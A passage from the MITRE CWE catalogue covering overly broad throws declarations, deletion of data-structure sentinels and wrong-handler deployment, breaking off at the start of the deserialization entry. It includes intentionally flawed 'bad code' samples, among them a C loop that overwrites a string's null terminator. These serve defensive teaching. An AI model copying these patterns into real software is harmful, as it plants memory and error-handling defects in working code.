This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsOverly-Broad Catch Block
Software Fault PatternsSFP5Ambiguous Exception Type
OMG ASCSMASCSM-CWE-396
OMG ASCRMASCRM-CWE-396
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 9: Catching Exceptions." Page 157. McGraw-Hill. 2010.
[REF-961] Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". ASCRM-CWE-396. 2016-01. <http://www.omg.org/spec/ASCRM/1.0/>.
[REF-962] Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". ASCSM-CWE-396. 2016-01. <http://www.omg.org/spec/ASCSM/1.0/>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
7 Pernicious Kingdoms
+ Contributions
Contribution DateContributorOrganization
2023-03-06Drew ButtnerMITRE
Suggested additional Applicable_Platforms and modification to extended description.
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Relationships, Other_Notes, Taxonomy_Mappings
2008-09-24CWE Content TeamMITRE
Removed C from Applicable_Platforms
2008-10-14CWE Content TeamMITRE
updated Applicable_Platforms
2009-03-10CWE Content TeamMITRE
updated Relationships
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples
2009-10-29CWE Content TeamMITRE
updated Description, Other_Notes
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated References, Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated References, Relationships, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated References
2023-04-27CWE Content TeamMITRE
updated Applicable_Platforms, Description, Detection_Factors, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Overly-Broad Catch Block

CWE-397: Declaration of Throws for Generic Exception

Weakness ID: 397
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
Throwing overly broad exceptions promotes complex error handling code that is more likely to contain security vulnerabilities.
+ Extended Description
Declaring a method to throw Exception or Throwable makes it difficult for callers to perform proper error handling and error recovery. Java's exception mechanism, for example, is set up to make it easy for callers to anticipate what can go wrong and write code to handle each specific exceptional circumstance. Declaring that a method throws a generic form of exception defeats this system.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.221Information Loss or Omission
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.703Improper Check or Handling of Exceptional Conditions
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.705Incorrect Control Flow Scoping
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.389Error Conditions, Return Values, Status Codes
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C++ (Undetermined Prevalence)

Java (Undetermined Prevalence)

C# (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Non-Repudiation
Other

Technical Impact: Hide Activities; Alter Execution Logic

+ Demonstrative Examples

Example 1

The following method throws three types of exceptions.

(good code)
Example Language: Java 
public void doExchange() throws IOException, InvocationTargetException, SQLException {
...
}

While it might seem tidier to write

(bad code)
 
public void doExchange() throws Exception {
...
}

doing so hampers the caller's ability to understand and handle the exceptions that occur. Further, if a later revision of doExchange() introduces a new type of exception that should be treated differently than previous exceptions, there is no easy way to enforce this requirement.

Example 2

Early versions of C++ (C++98, C++03, C++11) included a feature known as Dynamic Exception Specification. This allowed functions to declare what type of exceptions it may throw. It is possible to declare a general class of exception to cover any derived exceptions that may be throw.

(bad code)
 
int myfunction() throw(std::exception) {
if (0) throw out_of_range();
throw length_error();
}

In the example above, the code declares that myfunction() can throw an exception of type "std::exception" thus hiding details about the possible derived exceptions that could potentially be thrown.

+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.3887PK - Errors
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.851The CERT Oracle Secure Coding Standard for Java (2011) Chapter 8 - Exceptional Behavior (ERR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.960SFP Secondary Cluster: Ambiguous Exception Type
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1129CISQ Quality Measures (2016) - Reliability
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1131CISQ Quality Measures (2016) - Security
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1141SEI CERT Oracle Secure Coding Standard for Java - Guidelines 07. Exceptional Behavior (ERR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1410Comprehensive Categorization: Insufficient Control Flow Management
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Applicable Platform

For C++, this weakness only applies to C++98, C++03, and C++11. It relies on a feature known as Dynamic Exception Specification, which was part of early versions of C++ but was deprecated in C++11. It has been removed for C++17 and later.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsOverly-Broad Throws Declaration
The CERT Oracle Secure Coding Standard for Java (2011)ERR07-JDo not throw RuntimeException, Exception, or Throwable
Software Fault PatternsSFP5Ambiguous Exception Type
OMG ASCSMASCSM-CWE-397
OMG ASCRMASCRM-CWE-397
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
[REF-961] Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". ASCRM-CWE-397. 2016-01. <http://www.omg.org/spec/ASCRM/1.0/>.
[REF-962] Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". ASCSM-CWE-397. 2016-01. <http://www.omg.org/spec/ASCSM/1.0/>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
7 Pernicious Kingdoms
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Relationships, Other_Notes, Taxonomy_Mappings
2008-09-24CWE Content TeamMITRE
Removed C from Applicable_Platforms
2008-10-14CWE Content TeamMITRE
updated Applicable_Platforms
2009-03-10CWE Content TeamMITRE
updated Relationships
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples
2009-10-29CWE Content TeamMITRE
updated Description, Other_Notes
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples, References, Relationships, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated References
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Demonstrative_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Overly-Broad Throws Declaration

CWE-463: Deletion of Data Structure Sentinel

Weakness ID: 463
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The accidental deletion of a data-structure sentinel can cause serious programming logic problems.
+ Extended Description
Often times data-structure sentinels are used to mark structure of the data structure. A common example of this is the null character at the end of strings. Another common example is linked lists which may contain a sentinel to mark the end of the list. It is dangerous to allow this type of control data to be easily accessible. Therefore, it is important to protect from the deletion or modification outside of some wrapper interface which provides safety.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.707Improper Neutralization
PeerOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.464Addition of Data Structure Sentinel
PeerOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.170Improper Null Termination
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.137Data Neutralization Issues
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C (Undetermined Prevalence)

C++ (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Availability
Other

Technical Impact: Other

Generally this error will cause the data structure to not work properly.
Authorization
Other

Technical Impact: Other

If a control character, such as NULL is removed, one may cause resource access control problems.
+ Demonstrative Examples

Example 1

This example creates a null terminated string and prints it contents.

(bad code)
Example Language:
char *foo;
int counter;
foo=calloc(sizeof(char)*10);

for (counter=0;counter!=10;counter++) {
foo[counter]='a';

printf("%s\n",foo);
}

The string foo has space for 9 characters and a null terminator, but 10 characters are written to it. As a result, the string foo is not null terminated and calling printf() on it will have unpredictable and possibly dangerous results.

+ Potential Mitigations

Phase: Architecture and Design

Use an abstraction library to abstract away risky APIs. Not a complete solution.

Phase: Build and Compilation

Strategy: Compilation or Build Hardening

Run or compile the software using features or extensions that automatically provide a protection mechanism that mitigates or eliminates buffer overflows.

For example, certain compilers and extensions provide automatic buffer overflow detection mechanisms that are built into the compiled code. Examples include the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice.

Effectiveness: Defense in Depth

Note: This is not necessarily a complete solution, since these mechanisms can only detect certain types of overflows. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Operation

Use OS-level preventative functionality. Not a complete solution.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.977SFP Secondary Cluster: Design
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1407Comprehensive Categorization: Improper Neutralization
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPDeletion of data-structure sentinel
+ References
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 8, "NUL-Termination Problems", Page 452. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
CLASP
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings
2009-07-27CWE Content TeamMITRE
updated Potential_Mitigations
2009-10-29CWE Content TeamMITRE
updated Description, Other_Notes
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples
2012-05-11CWE Content TeamMITRE
updated References, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Demonstrative_Examples
2020-02-24CWE Content TeamMITRE
updated References, Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Deletion of Data-structure Sentinel

CWE-430: Deployment of Wrong Handler

Weakness ID: 430
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The wrong "handler" is assigned to process an object.
+ Extended Description
An example of deploying the wrong handler would be calling a servlet to reveal source code of a .JSP file, or automatically "determining" type of the object even if it is contradictory to an explicitly specified type.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.691Insufficient Control Flow Management
PeerOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.434Unrestricted Upload of File with Dangerous Type
CanPrecedeVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.433Unparsed Raw Web Content Delivery
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.429Handler Errors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Other

Technical Impact: Varies by Context; Unexpected State

+ Observed Examples
ReferenceDescription
Source code disclosure via manipulated file extension that causes parsing by wrong DLL.
Web browser does not properly handle the Content-Type header field, causing a different application to process the document.
Source code disclosure by directly invoking a servlet.
Arbitrary Perl functions can be loaded by calling a non-existent function that activates a handler.
+ Potential Mitigations

Phase: Architecture and Design

Perform a type check before interpreting an object.

Phase: Architecture and Design

Reject any inconsistent types, such as a file with a .GIF extension that appears to consist of PHP code.
+ Weakness Ordinalities
OrdinalityDescription
Resultant
(where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect)
This weakness is usually resultant from other weaknesses.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.977SFP Secondary Cluster: Design
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1348OWASP Top Ten 2021 Category A04:2021 - Insecure Design
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1410Comprehensive Categorization: Insufficient Control Flow Management
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERImproper Handler Deployment
+ References
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 3, "File Handlers", Page 74. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description
2009-10-29CWE Content TeamMITRE
updated Other_Notes, Weakness_Ordinalities
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated References, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2019-06-20CWE Content TeamMITRE
updated Related_Attack_Patterns
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Improper Handler Deployment

CWE-502: Deserialization of Untrusted Data

Weakness ID: 502
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product deserializes untrusted data without sufficiently verifying that the resulting data will be valid.
+ Extended Description

It is often convenient to serialize objects for communication or to save them for later use. However, deserialized data or code can often be modified without using the provided accessor functions if it does not use cryptography to protect itself. Furthermore, any cryptography would still be client-side security -- which is a dangerous security assumption.

Data that is untrusted can not be trusted to be well-formed.

When developers place no restrictions on "gadget chains," or series of instances and method invocations that can self-execute during the deserialization process (i.e., before the object is returned to the caller), it is sometimes possible for attackers to leverage them to perform unauthorized actions, like generating a shell.

+ Alternate Terms
Marshaling, Unmarshaling:
Marshaling and unmarshaling are effectively synonyms for serialization and deserialization, respectively.
Pickling, Unpickling:
In Python, the "pickle" functionality is used to perform serialization and deserialization.
PHP Object Injection:
Some PHP application researchers use this term when attacking unsafe use of the unserialize() function; but it is also used for CWE-915.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.913Improper Control of Dynamically-Managed Code Resources
PeerOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.915Improperly Controlled Modification of Dynamically-Determined Object Attributes
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.399Resource Management Errors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.913Improper Control of Dynamically-Managed Code Resources
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1019Validate Inputs
+ Background Details
Serialization and deserialization refer to the process of taking program-internal object-related data, packaging it in a way that allows the data to be externally stored or transferred ("serialization"), then extracting the serialized data to reconstruct the original object ("deserialization").
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and DesignOMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Java (Undetermined Prevalence)

Ruby (Undetermined Prevalence)

PHP (Undetermined Prevalence)

Python (Undetermined Prevalence)

JavaScript (Undetermined Prevalence)

Technologies

Class: ICS/OT (Often Prevalent)

+ Common Consequences
